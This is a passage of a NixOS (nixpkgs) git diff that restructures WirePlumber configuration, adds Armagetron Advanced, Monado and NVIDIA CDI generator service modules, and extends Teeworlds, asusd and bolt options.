pwNotForAudioConfigPkg = pkgs.writeTextDir "share/wireplumber/main.lua.d/80-pw-not-for-audio.lua" '' + -- PipeWire is not used for audio, so prevent it from grabbing audio devices alsa_monitor.enable = function() end ''; - }; - environment.etc."wireplumber/main.lua.d/80-systemwide.lua" = lib.mkIf config.services.pipewire.systemWide { - text = '' + systemwideConfigPkg = pkgs.writeTextDir "share/wireplumber/main.lua.d/80-systemwide.lua" '' -- When running system-wide, these settings need to be disabled (they -- use functions that aren't available on the system dbus). alsa_monitor.properties["alsa.reserve"] = false default_access.properties["enable-flatpak-portal"] = false ''; - }; - environment.etc."wireplumber/bluetooth.lua.d/80-systemwide.lua" = lib.mkIf config.services.pipewire.systemWide { - text = '' + systemwideBluetoothConfigPkg = pkgs.writeTextDir "share/wireplumber/bluetooth.lua.d/80-systemwide.lua" '' -- When running system-wide, logind-integration needs to be disabled. bluez_monitor.properties["with-logind"] = false ''; - }; - systemd.packages = [ cfg.package ]; + configPackages = cfg.configPackages + ++ lib.optional (!pwUsedForAudio) pwNotForAudioConfigPkg + ++ lib.optionals config.services.pipewire.systemWide [ systemwideConfigPkg systemwideBluetoothConfigPkg ]; - systemd.services.wireplumber.enable = config.services.pipewire.systemWide; - systemd.user.services.wireplumber.enable = !config.services.pipewire.systemWide; + configs = pkgs.buildEnv { + name = "wireplumber-configs"; + paths = configPackages; + pathsToLink = [ "/share/wireplumber" ]; + }; + + requiredLv2Packages = lib.flatten + ( + lib.concatMap + (p: + lib.attrByPath ["passthru" "requiredLv2Packages"] [] p + ) + configPackages + ); + + lv2Plugins = pkgs.buildEnv { + name = "wireplumber-lv2-plugins"; + paths = cfg.extraLv2Packages ++ requiredLv2Packages; + pathsToLink = [ "/lib/lv2" ]; + }; + in + lib.mkIf cfg.enable { + assertions = [ + { + assertion = !config.hardware.bluetooth.hsphfpd.enable; + message = "Using WirePlumber conflicts with hsphfpd, as it provides the same functionality. `hardware.bluetooth.hsphfpd.enable` needs be set to false"; + } + { + assertion = builtins.length + (builtins.attrNames + ( + lib.filterAttrs + (name: value: + lib.hasPrefix "wireplumber/" name || name == "wireplumber" + ) + config.environment.etc + )) == 1; + message = "Using `environment.etc.\"wireplumber<...>\"` directly is no longer supported in 24.05. Use `services.pipewire.wireplumber.configPackages` instead."; + } + ]; + + environment.systemPackages = [ cfg.package ]; + + environment.etc.wireplumber.source = "${configs}/share/wireplumber"; - systemd.services.wireplumber.wantedBy = [ "pipewire.service" ]; - systemd.user.services.wireplumber.wantedBy = [ "pipewire.service" ]; + systemd.packages = [ cfg.package ]; - systemd.services.wireplumber.environment = lib.mkIf config.services.pipewire.systemWide { - # Force wireplumber to use system dbus. - DBUS_SESSION_BUS_ADDRESS = "unix:path=/run/dbus/system_bus_socket"; + systemd.services.wireplumber.enable = config.services.pipewire.systemWide; + systemd.user.services.wireplumber.enable = !config.services.pipewire.systemWide; + + systemd.services.wireplumber.wantedBy = [ "pipewire.service" ]; + systemd.user.services.wireplumber.wantedBy = [ "pipewire.service" ]; + + systemd.services.wireplumber.environment = lib.mkIf config.services.pipewire.systemWide { + # Force WirePlumber to use system dbus. + DBUS_SESSION_BUS_ADDRESS = "unix:path=/run/dbus/system_bus_socket"; + LV2_PATH = "${lv2Plugins}/lib/lv2"; + }; + + systemd.user.services.wireplumber.environment.LV2_PATH = + lib.mkIf (!config.services.pipewire.systemWide) "${lv2Plugins}/lib/lv2"; }; - }; } diff --git a/nixos/modules/services/development/lorri.nix b/nixos/modules/services/development/lorri.nix index 74f56f5890fce..df3d814d74441 100644 --- a/nixos/modules/services/development/lorri.nix +++ b/nixos/modules/services/development/lorri.nix @@ -44,8 +44,7 @@ in { serviceConfig = { ExecStart = "${cfg.package}/bin/lorri daemon"; PrivateTmp = true; - ProtectSystem = "strict"; - ProtectHome = "read-only"; + ProtectSystem = "full"; Restart = "on-failure"; }; }; diff --git a/nixos/modules/services/development/nixseparatedebuginfod.nix b/nixos/modules/services/development/nixseparatedebuginfod.nix index daf85153d339f..a2ec0d2c80e1f 100644 --- a/nixos/modules/services/development/nixseparatedebuginfod.nix +++ b/nixos/modules/services/development/nixseparatedebuginfod.nix @@ -90,7 +90,9 @@ in users.groups.nixseparatedebuginfod = { }; - nix.settings.extra-allowed-users = [ "nixseparatedebuginfod" ]; + nix.settings = lib.optionalAttrs (lib.versionAtLeast config.nix.package.version "2.4") { + extra-allowed-users = [ "nixseparatedebuginfod" ]; + }; environment.variables.DEBUGINFOD_URLS = "http://${url}"; diff --git a/nixos/modules/services/display-managers/greetd.nix b/nixos/modules/services/display-managers/greetd.nix index 2212f97a9ffe2..c2d345152de93 100644 --- a/nixos/modules/services/display-managers/greetd.nix +++ b/nixos/modules/services/display-managers/greetd.nix @@ -78,7 +78,7 @@ in serviceConfig = { ExecStart = "${pkgs.greetd.greetd}/bin/greetd --config ${settingsFormat.generate "greetd.toml" cfg.settings}"; - Restart = mkIf cfg.restart "always"; + Restart = mkIf cfg.restart "on-success"; # Defaults from greetd upstream configuration IgnoreSIGPIPE = false; diff --git a/nixos/modules/services/games/archisteamfarm.nix b/nixos/modules/services/games/archisteamfarm.nix index c00ae8116b394..4bb7234f430f2 100644 --- a/nixos/modules/services/games/archisteamfarm.nix +++ b/nixos/modules/services/games/archisteamfarm.nix @@ -270,6 +270,6 @@ in meta = { buildDocsInSandbox = false; - maintainers = with lib.maintainers; [ lom SuperSandro2000 ]; + maintainers = with lib.maintainers; [ SuperSandro2000 ]; }; } diff --git a/nixos/modules/services/games/armagetronad.nix b/nixos/modules/services/games/armagetronad.nix new file mode 100644 index 0000000000000..f79818e0e53b5 --- /dev/null +++ b/nixos/modules/services/games/armagetronad.nix @@ -0,0 +1,268 @@ +{ config, lib, pkgs, ... }: +let + inherit (lib) mkEnableOption mkIf mkOption mkMerge literalExpression; + inherit (lib) mapAttrsToList filterAttrs unique recursiveUpdate types; + + mkValueStringArmagetron = with lib; v: + if isInt v then toString v + else if isFloat v then toString v + else if isString v then v + else if true == v then "1" + else if false == v then "0" + else if null == v then "" + else throw "unsupported type: ${builtins.typeOf v}: ${(lib.generators.toPretty {} v)}"; + + settingsFormat = pkgs.formats.keyValue { + mkKeyValue = lib.generators.mkKeyValueDefault + { + mkValueString = mkValueStringArmagetron; + } " "; + listsAsDuplicateKeys = true; + }; + + cfg = config.services.armagetronad; + enabledServers = lib.filterAttrs (n: v: v.enable) cfg.servers; + nameToId = serverName: "armagetronad-${serverName}"; + getStateDirectory = serverName: "armagetronad/${serverName}"; + getServerRoot = serverName: "/var/lib/${getStateDirectory serverName}"; +in +{ + options = { + services.armagetronad = { + servers = mkOption { + description = lib.mdDoc "Armagetron server definitions."; + default = { }; + type = types.attrsOf (types.submodule { + options = { + enable = mkEnableOption (lib.mdDoc "armagetronad"); + + package = lib.mkPackageOptionMD pkgs "armagetronad-dedicated" { + example = '' + pkgs.armagetronad."0.2.9-sty+ct+ap".dedicated + ''; + extraDescription = '' + Ensure that you use a derivation which contains the path `bin/armagetronad-dedicated`. + ''; + }; + + host = mkOption { + type = types.str; + default = "0.0.0.0"; + description = lib.mdDoc "Host to listen on. Used for SERVER_IP."; + }; + + port = mkOption { + type = types.port; + default = 4534; + description = lib.mdDoc "Port to listen on. Used for SERVER_PORT."; + }; + + dns = mkOption { + type = types.nullOr types.str; + default = null; + description = lib.mdDoc "DNS address to use for this server. Optional."; + }; + + openFirewall = mkOption { + type = types.bool; + default = true; + description = lib.mdDoc "Set to true to open the configured UDP port for Armagetron Advanced."; + }; + + name = mkOption { + type = types.str; + description = "The name of this server."; + }; + + settings = mkOption { + type = settingsFormat.type; + default = { }; + description = lib.mdDoc '' + Armagetron Advanced server rules configuration. Refer to: + <https://wiki.armagetronad.org/index.php?title=Console_Commands> + or `armagetronad-dedicated --doc` for a list. + + This attrset is used to populate `settings_custom.cfg`; see: + <https://wiki.armagetronad.org/index.php/Configuration_Files> + ''; + example = literalExpression '' + { + CYCLE_RUBBER = 40; + } + ''; + }; + + roundSettings = mkOption { + type = settingsFormat.type; + default = { }; + description = lib.mdDoc '' + Armagetron Advanced server per-round configuration. Refer to: + <https://wiki.armagetronad.org/index.php?title=Console_Commands> + or `armagetronad-dedicated --doc` for a list. + + This attrset is used to populate `everytime.cfg`; see: + <https://wiki.armagetronad.org/index.php/Configuration_Files> + ''; + example = literalExpression '' + { + SAY = [ + "Hosted on NixOS" + "https://nixos.org" + "iD Tech High Rubber rul3z!! Happy New Year 2008!!1" + ]; + } + ''; + }; + }; + }); + }; + }; + }; + + config = mkIf (enabledServers != { }) { + systemd.tmpfiles.settings = mkMerge (mapAttrsToList + (serverName: serverCfg: + let + serverId = nameToId serverName; + serverRoot = getServerRoot serverName; + serverInfo = ( + { + SERVER_IP = serverCfg.host; + SERVER_PORT = serverCfg.port; + SERVER_NAME = serverCfg.name; + } // (lib.optionalAttrs (serverCfg.dns != null) { SERVER_DNS = serverCfg.dns; }) + ); + customSettings = serverCfg.settings; + everytimeSettings = serverCfg.roundSettings; + + serverInfoCfg = settingsFormat.generate "server_info.${serverName}.cfg" serverInfo; + customSettingsCfg = settingsFormat.generate "settings_custom.${serverName}.cfg" customSettings; + everytimeSettingsCfg = settingsFormat.generate "everytime.${serverName}.cfg" everytimeSettings; + in + { + "10-armagetronad-${serverId}" = { + "${serverRoot}/data" = { + d = { + group = serverId; + user = serverId; + mode = "0750"; + }; + }; + "${serverRoot}/settings" = { + d = { + group = serverId; + user = serverId; + mode = "0750"; + }; + }; + "${serverRoot}/var" = { + d = { + group = serverId; + user = serverId; + mode = "0750"; + }; + }; + "${serverRoot}/resource" = { + d = { + group = serverId; + user = serverId; + mode = "0750"; + }; + }; + "${serverRoot}/input" = { + "f+" = { + group = serverId; + user = serverId; + mode = "0640"; + }; + }; + "${serverRoot}/settings/server_info.cfg" = { + "L+" = { + argument = "${serverInfoCfg}"; + }; + }; + "${serverRoot}/settings/settings_custom.cfg" = { + "L+" = { + argument = "${customSettingsCfg}"; + }; + }; + "${serverRoot}/settings/everytime.cfg" = { + "L+" = { + argument = "${everytimeSettingsCfg}"; + }; + }; + }; + } + ) + enabledServers + ); + + systemd.services = mkMerge (mapAttrsToList + (serverName: serverCfg: + let + serverId = nameToId serverName; + in + { + "armagetronad-${serverName}" = { + description = "Armagetron Advanced Dedicated Server for ${serverName}"; + wants = [ "basic.target" ]; + after = [ "basic.target" "network.target" "multi-user.target" ]; + wantedBy = [ "multi-user.target" ]; + serviceConfig = + let + serverRoot = getServerRoot serverName; + in + { + Type = "simple"; + StateDirectory = getStateDirectory serverName; + ExecStart = "${lib.getExe serverCfg.package} --daemon --input ${serverRoot}/input --userdatadir ${serverRoot}/data --userconfigdir ${serverRoot}/settings --vardir ${serverRoot}/var --autoresourcedir ${serverRoot}/resource"; + Restart = "on-failure"; + CapabilityBoundingSet = ""; + LockPersonality = true; + NoNewPrivileges = true; + PrivateDevices = true; + PrivateTmp = true; + PrivateUsers = true; + ProtectClock = true; + ProtectControlGroups = true; + ProtectHome = true; + ProtectHostname = true; + ProtectKernelLogs = true; + ProtectKernelModules = true; + ProtectKernelTunables = true; + ProtectProc = "invisible"; + ProtectSystem = "strict"; + RestrictNamespaces = true; + RestrictSUIDSGID = true; + User = serverId; + Group = serverId; + }; + }; + }) + enabledServers + ); + + networking.firewall.allowedUDPPorts = + unique (mapAttrsToList (serverName: serverCfg: serverCfg.port) (filterAttrs (serverName: serverCfg: serverCfg.openFirewall) enabledServers)); + + users.users = mkMerge (mapAttrsToList + (serverName: serverCfg: + { + ${nameToId serverName} = { + group = nameToId serverName; + description = "Armagetron Advanced dedicated user for server ${serverName}"; + isSystemUser = true; + }; + }) + enabledServers + ); + + users.groups = mkMerge (mapAttrsToList + (serverName: serverCfg: + { + ${nameToId serverName} = { }; + }) + enabledServers + ); + }; +} diff --git a/nixos/modules/services/games/teeworlds.nix b/nixos/modules/services/games/teeworlds.nix index bd0df1ffca578..04b611fb3cb14 100644 --- a/nixos/modules/services/games/teeworlds.nix +++ b/nixos/modules/services/games/teeworlds.nix @@ -6,13 +6,86 @@ let cfg = config.services.teeworlds; register = cfg.register; + bool = b: if b != null && b then "1" else "0"; + optionalSetting = s: setting: optionalString (s != null) "${setting} ${s}"; + lookup = attrs: key: default: if attrs ? key then attrs."${key}" else default; + + inactivePenaltyOptions = { + "spectator" = "1"; + "spectator/kick" = "2"; + "kick" = "3"; + }; + skillLevelOptions = { + "casual" = "0"; + "normal" = "1"; + "competitive" = "2"; + }; + tournamentModeOptions = { + "disable" = "0"; + "enable" = "1"; + "restrictSpectators" = "2"; + }; + teeworldsConf = pkgs.writeText "teeworlds.cfg" '' sv_port ${toString cfg.port} - sv_register ${if cfg.register then "1" else "0"} - ${optionalString (cfg.name != null) "sv_name ${cfg.name}"} - ${optionalString (cfg.motd != null) "sv_motd ${cfg.motd}"} - ${optionalString (cfg.password != null) "password ${cfg.password}"} - ${optionalString (cfg.rconPassword != null) "sv_rcon_password ${cfg.rconPassword}"} + sv_register ${bool cfg.register} + sv_name ${cfg.name} + ${optionalSetting cfg.motd "sv_motd"} + ${optionalSetting cfg.password "password"} + ${optionalSetting cfg.rconPassword "sv_rcon_password"} + + ${optionalSetting cfg.server.bindAddr "bindaddr"} + ${optionalSetting cfg.server.hostName "sv_hostname"} + sv_high_bandwidth ${bool cfg.server.enableHighBandwidth} + sv_inactivekick ${lookup inactivePenaltyOptions cfg.server.inactivePenalty "spectator/kick"} + sv_inactivekick_spec ${bool cfg.server.kickInactiveSpectators} + sv_inactivekick_time ${toString cfg.server.inactiveTime} + sv_max_clients ${toString cfg.server.maxClients} + sv_max_clients_per_ip ${toString cfg.server.maxClientsPerIP} + sv_skill_level ${lookup skillLevelOptions cfg.server.skillLevel "normal"} + sv_spamprotection ${bool cfg.server.enableSpamProtection} + + sv_gametype ${cfg.game.gameType} + sv_map ${cfg.game.map} + sv_match_swap ${bool cfg.game.swapTeams} + sv_player_ready_mode ${bool cfg.game.enableReadyMode} + sv_player_slots ${toString cfg.game.playerSlots} + sv_powerups ${bool cfg.game.enablePowerups} + sv_scorelimit ${toString cfg.game.scoreLimit} + sv_strict_spectate_mode ${bool cfg.game.restrictSpectators} + sv_teamdamage ${bool cfg.game.enableTeamDamage} + sv_timelimit ${toString cfg.game.timeLimit} + sv_tournament_mode ${lookup tournamentModeOptions cfg.server.tournamentMode "disable"} + sv_vote_kick ${bool cfg.game.enableVoteKick} + sv_vote_kick_bantime ${toString cfg.game.voteKickBanTime} + sv_vote_kick_min ${toString cfg.game.voteKickMinimumPlayers} + + ${optionalSetting cfg.server.bindAddr "bindaddr"} + ${optionalSetting cfg.server.hostName "sv_hostname"} + sv_high_bandwidth ${bool cfg.server.enableHighBandwidth} + sv_inactivekick ${lookup inactivePenaltyOptions cfg.server.inactivePenalty "spectator/kick"} + sv_inactivekick_spec ${bool cfg.server.kickInactiveSpectators} + sv_inactivekick_time ${toString cfg.server.inactiveTime} + sv_max_clients ${toString cfg.server.maxClients} + sv_max_clients_per_ip ${toString cfg.server.maxClientsPerIP} + sv_skill_level ${lookup skillLevelOptions cfg.server.skillLevel "normal"} + sv_spamprotection ${bool cfg.server.enableSpamProtection} + + sv_gametype ${cfg.game.gameType} + sv_map ${cfg.game.map} + sv_match_swap ${bool cfg.game.swapTeams} + sv_player_ready_mode ${bool cfg.game.enableReadyMode} + sv_player_slots ${toString cfg.game.playerSlots} + sv_powerups ${bool cfg.game.enablePowerups} + sv_scorelimit ${toString cfg.game.scoreLimit} + sv_strict_spectate_mode ${bool cfg.game.restrictSpectators} + sv_teamdamage ${bool cfg.game.enableTeamDamage} + sv_timelimit ${toString cfg.game.timeLimit} + sv_tournament_mode ${lookup tournamentModeOptions cfg.server.tournamentMode "disable"} + sv_vote_kick ${bool cfg.game.enableVoteKick} + sv_vote_kick_bantime ${toString cfg.game.voteKickBanTime} + sv_vote_kick_min ${toString cfg.game.voteKickMinimumPlayers} + ${concatStringsSep "\n" cfg.extraOptions} ''; @@ -22,17 +95,19 @@ in services.teeworlds = { enable = mkEnableOption (lib.mdDoc "Teeworlds Server"); + package = mkPackageOptionMD pkgs "teeworlds-server" { }; + openPorts = mkOption { type = types.bool; default = false; - description = lib.mdDoc "Whether to open firewall ports for Teeworlds"; + description = lib.mdDoc "Whether to open firewall ports for Teeworlds."; }; name = mkOption { - type = types.nullOr types.str; - default = null; + type = types.str; + default = "unnamed server"; description = lib.mdDoc '' - Name of the server. Defaults to 'unnamed server'. + Name of the server. ''; }; @@ -41,7 +116,7 @@ in example = true; default = false; description = lib.mdDoc '' - Whether the server registers as public server in the global server list. This is disabled by default because of privacy. + Whether the server registers as a public server in the global server list. This is disabled by default for privacy reasons. ''; }; @@ -49,7 +124,7 @@ in type = types.nullOr types.str; default = null; description = lib.mdDoc '' - Set the server message of the day text. + The server's message of the day text. ''; }; @@ -85,6 +160,217 @@ in ''; example = [ "sv_map dm1" "sv_gametype dm" ]; }; + + server = { + bindAddr = mkOption { + type = types.nullOr types.str; + default = null; + description = lib.mdDoc '' + The address the server will bind to. + ''; + }; + + enableHighBandwidth = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Whether to enable high bandwidth mode on LAN servers. This will double the amount of bandwidth required for running the server. + ''; + }; + + hostName = mkOption { + type = types.nullOr types.str; + default = null; + description = lib.mdDoc '' + Hostname for the server. + ''; + }; + + inactivePenalty = mkOption { + type = types.enum [ "spectator" "spectator/kick" "kick" ]; + example = "spectator"; + default = "spectator/kick"; + description = lib.mdDoc '' + Specify what to do when a client goes inactive (see [](#opt-services.teeworlds.server.inactiveTime)). + + - `spectator`: send the client into spectator mode + + - `spectator/kick`: send the client into a free spectator slot, otherwise kick the client + + - `kick`: kick the client + ''; + }; + + kickInactiveSpectators = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Whether to kick inactive spectators. + ''; + }; + + inactiveTime = mkOption { + type = types.ints.unsigned; + default = 3; + description = lib.mdDoc '' + The amount of minutes a client has to idle before it is considered inactive. + ''; + }; + + maxClients = mkOption { + type = types.ints.unsigned; + default = 12; + description = lib.mdDoc '' + The maximum amount of clients that can be connected to the server at the same time. + ''; + }; + + maxClientsPerIP = mkOption { + type = types.ints.unsigned; + default = 12; + description = lib.mdDoc '' + The maximum amount of clients with the same IP address that can be connected to the server at the same time. + ''; + }; + + skillLevel = mkOption { + type = types.enum [ "casual" "normal" "competitive" ]; + default = "normal"; + description = lib.mdDoc '' + The skill level shown in the server browser. + ''; + }; + + enableSpamProtection = mkOption { + type = types.bool; + default = true; + description = lib.mdDoc '' + Whether to enable chat spam protection. + ''; + }; + }; + + game = { + gameType = mkOption { + type = types.str; + example = "ctf"; + default = "dm"; + description = lib.mdDoc '' + The game type to use on the server. + + The default gametypes are `dm`, `tdm`, `ctf`, `lms`, and `lts`. + ''; + }; + + map = mkOption { + type = types.str; + example = "ctf5"; + default = "dm1"; + description = lib.mdDoc '' + The map to use on the server. + ''; + }; + + swapTeams = mkOption { + type = types.bool; + default = true; + description = lib.mdDoc '' + Whether to swap teams each round. + ''; + }; + + enableReadyMode = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Whether to enable "ready mode"; where players can pause/unpause the game + and start the game in warmup, using their ready state. + ''; + }; + + playerSlots = mkOption { + type = types.ints.unsigned; + default = 8; + description = lib.mdDoc '' + The amount of slots to reserve for players (as opposed to spectators). + ''; + }; + + enablePowerups = mkOption { + type = types.bool; + default = true; + description = lib.mdDoc '' + Whether to allow powerups such as the ninja. + ''; + }; + + scoreLimit = mkOption { + type = types.ints.unsigned; + example = 400; + default = 20; + description = lib.mdDoc '' + The score limit needed to win a round. + ''; + }; + + restrictSpectators = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Whether to restrict access to information such as health, ammo and armour in spectator mode. + ''; + }; + + enableTeamDamage = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Whether to enable team damage; whether to allow team mates to inflict damage on one another. + ''; + }; + + timeLimit = mkOption { + type = types.ints.unsigned; + default = 0; + description = lib.mdDoc '' + Time limit of the game. In cases of equal points, there will be sudden death. + Setting this to 0 disables a time limit. + ''; + }; + + tournamentMode = mkOption { + type = types.enum [ "disable" "enable" "restrictSpectators" ]; + default = "disable"; + description = lib.mdDoc '' + Whether to enable tournament mode. In tournament mode, players join as spectators. + If this is set to `restrictSpectators`, tournament mode is enabled but spectator chat is restricted. + ''; + }; + + enableVoteKick = mkOption { + type = types.bool; + default = true; + description = lib.mdDoc '' + Whether to enable voting to kick players. + ''; + }; + + voteKickBanTime = mkOption { + type = types.ints.unsigned; + default = 5; + description = lib.mdDoc '' + The amount of minutes that a player is banned for if they get kicked by a vote. + ''; + }; + + voteKickMinimumPlayers = mkOption { + type = types.ints.unsigned; + default = 5; + description = lib.mdDoc '' + The minimum amount of players required to start a kick vote. + ''; + }; + }; }; }; @@ -100,7 +386,7 @@ in serviceConfig = { DynamicUser = true; - ExecStart = "${pkgs.teeworlds-server}/bin/teeworlds_srv -f ${teeworldsConf}"; + ExecStart = "${cfg.package}/bin/teeworlds_srv -f ${teeworldsConf}"; # Hardening CapabilityBoundingSet = false; diff --git a/nixos/modules/services/hardware/asusd.nix b/nixos/modules/services/hardware/asusd.nix index ebbdea26c0514..ff9a751e5be87 100644 --- a/nixos/modules/services/hardware/asusd.nix +++ b/nixos/modules/services/hardware/asusd.nix @@ -8,6 +8,8 @@ in services.asusd = { enable = lib.mkEnableOption (lib.mdDoc "the asusd service for ASUS ROG laptops"); + package = lib.mkPackageOption pkgs "asusctl" { }; + enableUserService = lib.mkOption { type = lib.types.bool; default = false; @@ -73,7 +75,7 @@ in }; config = lib.mkIf cfg.enable { - environment.systemPackages = [ pkgs.asusctl ]; + environment.systemPackages = [ cfg.package ]; environment.etc = let @@ -92,9 +94,9 @@ in }; services.dbus.enable = true; - systemd.packages = [ pkgs.asusctl ]; - services.dbus.packages = [ pkgs.asusctl ]; - services.udev.packages = [ pkgs.asusctl ]; + systemd.packages = [ cfg.package ]; + services.dbus.packages = [ cfg.package ]; + services.udev.packages = [ cfg.package ]; services.supergfxd.enable = lib.mkDefault true; systemd.user.services.asusd-user.enable = cfg.enableUserService; diff --git a/nixos/modules/services/hardware/bolt.nix b/nixos/modules/services/hardware/bolt.nix index 6990a9ea63b37..3bdf67cc17581 100644 --- a/nixos/modules/services/hardware/bolt.nix +++ b/nixos/modules/services/hardware/bolt.nix @@ -1,14 +1,13 @@ -# Thunderbolt 3 device manager - { config, lib, pkgs, ...}: with lib; +let + cfg = config.services.hardware.bolt; +in { options = { - services.hardware.bolt = { - enable = mkOption { type = types.bool; default = false; @@ -20,15 +19,13 @@ with lib; ''; }; + package = mkPackageOption pkgs "bolt" { }; }; - }; - config = mkIf config.services.hardware.bolt.enable { - - environment.systemPackages = [ pkgs.bolt ]; - services.udev.packages = [ pkgs.bolt ]; - systemd.packages = [ pkgs.bolt ]; - + config = mkIf cfg.enable { + environment.systemPackages = [ cfg.package ]; + services.udev.packages = [ cfg.package ]; + systemd.packages = [ cfg.package ]; }; } diff --git a/nixos/modules/services/hardware/hddfancontrol.nix b/nixos/modules/services/hardware/hddfancontrol.nix index f472b5774cbf6..746154e7aa17e 100644 --- a/nixos/modules/services/hardware/hddfancontrol.nix +++ b/nixos/modules/services/hardware/hddfancontrol.nix @@ -60,6 +60,10 @@ in systemd.services.hddfancontrol = { wantedBy = [ "multi-user.target" ]; environment.HDDFANCONTROL_ARGS = lib.escapeShellArgs args; + serviceConfig = { + # Hardening + PrivateNetwork = true; + }; }; } ); diff --git a/nixos/modules/services/hardware/monado.nix b/nixos/modules/services/hardware/monado.nix new file mode 100644 index 0000000000000..9f9c6c39a0b49 --- /dev/null +++ b/nixos/modules/services/hardware/monado.nix @@ -0,0 +1,102 @@ +{ config +, lib +, pkgs +, ... +}: +let + inherit (lib) mkDefault mkEnableOption mkIf mkOption mkPackageOption types; + + cfg = config.services.monado; + +in +{ + options.services.monado = { + enable = mkEnableOption "Monado user service"; + + package = mkPackageOption pkgs "monado" { }; + + defaultRuntime = mkOption { + type = types.bool; + description = '' + Whether to enable Monado as the default OpenXR runtime on the system. + + Note that applications can bypass this option by setting an active + runtime in a writable XDG_CONFIG_DIRS location like `~/.config`. + ''; + default = false; + example = true; + }; + + highPriority = mkEnableOption "high priority capability for monado-service" + // mkOption { default = true; }; + }; + + config = mkIf cfg.enable { + security.wrappers."monado-service" = mkIf cfg.highPriority { + setuid = false; + owner = "root"; + group = "root"; + # cap_sys_nice needed for asynchronous reprojection + capabilities = "cap_sys_nice+eip"; + source = lib.getExe' cfg.package "monado-service"; + }; + + services.udev.packages = with pkgs; [ xr-hardware ]; + + systemd.user = { + services.monado = { + description = "Monado XR runtime service module"; + requires = [ "monado.socket" ]; + conflicts = [ "monado-dev.service" ]; + + unitConfig.ConditionUser = "!root"; + + environment = { + # Default options + # https://gitlab.freedesktop.org/monado/monado/-/blob/4548e1738591d0904f8db4df8ede652ece889a76/src/xrt/targets/service/monado.in.service#L12 + XRT_COMPOSITOR_LOG = mkDefault "debug"; + XRT_PRINT_OPTIONS = mkDefault "on"; + IPC_EXIT_ON_DISCONNECT = mkDefault "off"; + }; + + serviceConfig = { + ExecStart = + if cfg.highPriority + then "${config.security.wrapperDir}/monado-service" + else lib.getExe' cfg.package "monado-service"; + Restart = "no"; + }; + + restartTriggers = [ cfg.package ]; + }; + + sockets.monado = { + description = "Monado XR service module connection socket"; + conflicts = [ "monado-dev.service" ]; + + unitConfig.ConditionUser = "!root"; + + socketConfig = { + ListenStream = "%t/monado_comp_ipc"; + RemoveOnStop = true; + + # If Monado crashes while starting up, we want to close incoming OpenXR connections + FlushPending = true; + }; + + restartTriggers = [ cfg.package ]; + + wantedBy = [ "sockets.target" ]; + }; + }; + + environment.systemPackages = [ cfg.package ]; + environment.pathsToLink = [ "/share/openxr" ]; + + environment.etc."xdg/openxr/1/active_runtime.json" = mkIf cfg.defaultRuntime { + source = "${cfg.package}/share/openxr/1/openxr_monado.json"; + }; + }; + + meta.maintainers = with lib.maintainers; [ Scrumplex ]; +} diff --git a/nixos/modules/services/hardware/nvidia-container-toolkit-cdi-generator/cdi-generate.nix b/nixos/modules/services/hardware/nvidia-container-toolkit-cdi-generator/cdi-generate.nix new file mode 100644 index 0000000000000..1aaa2d07b9bde --- /dev/null +++ b/nixos/modules/services/hardware/nvidia-container-toolkit-cdi-generator/cdi-generate.nix @@ -0,0 +1,60 @@ +{ + addDriverRunpath, + glibc, + jq, + lib, + nvidia-container-toolkit, + nvidia-driver, + runtimeShell, + writeScriptBin, +}: +let + mountOptions = { options = ["ro" "nosuid" "nodev" "bind"]; }; + mounts = [ + # FIXME: Making /usr mounts optional + { hostPath = lib.getExe' nvidia-driver "nvidia-cuda-mps-control"; + containerPath = "/usr/bin/nvidia-cuda-mps-control"; } + { hostPath = lib.getExe' nvidia-driver "nvidia-cuda-mps-server"; + containerPath = "/usr/bin/nvidia-cuda-mps-server"; } + { hostPath = lib.getExe' nvidia-driver "nvidia-debugdump"; + containerPath = "/usr/bin/nvidia-debugdump"; } + { hostPath = lib.getExe' nvidia-driver "nvidia-powerd"; + containerPath = "/usr/bin/nvidia-powerd"; } + { hostPath = lib.getExe' nvidia-driver "nvidia-smi"; + containerPath = "/usr/bin/nvidia-smi"; } + { hostPath = lib.getExe' nvidia-container-toolkit "nvidia-ctk"; + containerPath = "/usr/bin/nvidia-ctk"; } + { hostPath = "${lib.getLib glibc}/lib"; + containerPath = "${lib.getLib glibc}/lib"; } + + # FIXME: use closureinfo + { + hostPath = addDriverRunpath.driverLink; + containerPath = addDriverRunpath.driverLink; + } + { hostPath = "${lib.getLib glibc}/lib"; + containerPath = "${lib.getLib glibc}/lib"; } + { hostPath = "${lib.getLib glibc}/lib64"; + containerPath = "${lib.getLib glibc}/lib64"; } + ]; + jqAddMountExpression = ".containerEdits.mounts[.containerEdits.mounts | length] |= . +"; + mountsToJq = lib.concatMap + (mount: + ["${lib.getExe jq} '${jqAddMountExpression} ${builtins.toJSON (mount // mountOptions)}'"]) + mounts; +in +writeScriptBin "nvidia-cdi-generator" +'' +#! ${runtimeShell} + +function cdiGenerate { + ${lib.getExe' nvidia-container-toolkit "nvidia-ctk"} cdi generate \ + --format json \ + --ldconfig-path ${lib.getExe' glibc "ldconfig"} \ + --library-search-path ${lib.getLib nvidia-driver}/lib \ + --nvidia-ctk-path ${lib.getExe' nvidia-container-toolkit "nvidia-ctk"} +} + +cdiGenerate | \ + ${lib.concatStringsSep " | " mountsToJq} > $RUNTIME_DIRECTORY/nvidia-container-toolkit.json +'' diff --git a/nixos/modules/services/hardware/nvidia-container-toolkit-cdi-generator/default.nix b/nixos/modules/services/hardware/nvidia-container-toolkit-cdi-generator/default.nix new file mode 100644 index 0000000000000..b95bdf191fad2 --- /dev/null +++ b/nixos/modules/services/hardware/nvidia-container-toolkit-cdi-generator/default.nix @@ -0,0 +1,40 @@ +{ config, lib, pkgs, ... }: + +{ + + options = { + + hardware.nvidia-container-toolkit-cdi-generator.enable = lib.mkOption { + default = false; + internal = true; + visible = false; + type = lib.types.bool; + description = lib.mdDoc '' + Enable dynamic CDI configuration for NVidia devices by running + nvidia-container-toolkit on boot. + ''; + }; + + }; + + config = { + + systemd.services.nvidia-container-toolkit-cdi-generator = lib.mkIf config.hardware.nvidia-container-toolkit-cdi-generator.enable { + description = "Container Device Interface (CDI) for Nvidia generator"; + wantedBy = [ "multi-user.target" ]; + after = [ "systemd-udev-settle.service" ]; + serviceConfig = { + RuntimeDirectory = "cdi"; + RemainAfterExit = true; + ExecStart = + let + script = pkgs.callPackage ./cdi-generate.nix { nvidia-driver = config.hardware.nvidia.package; }; 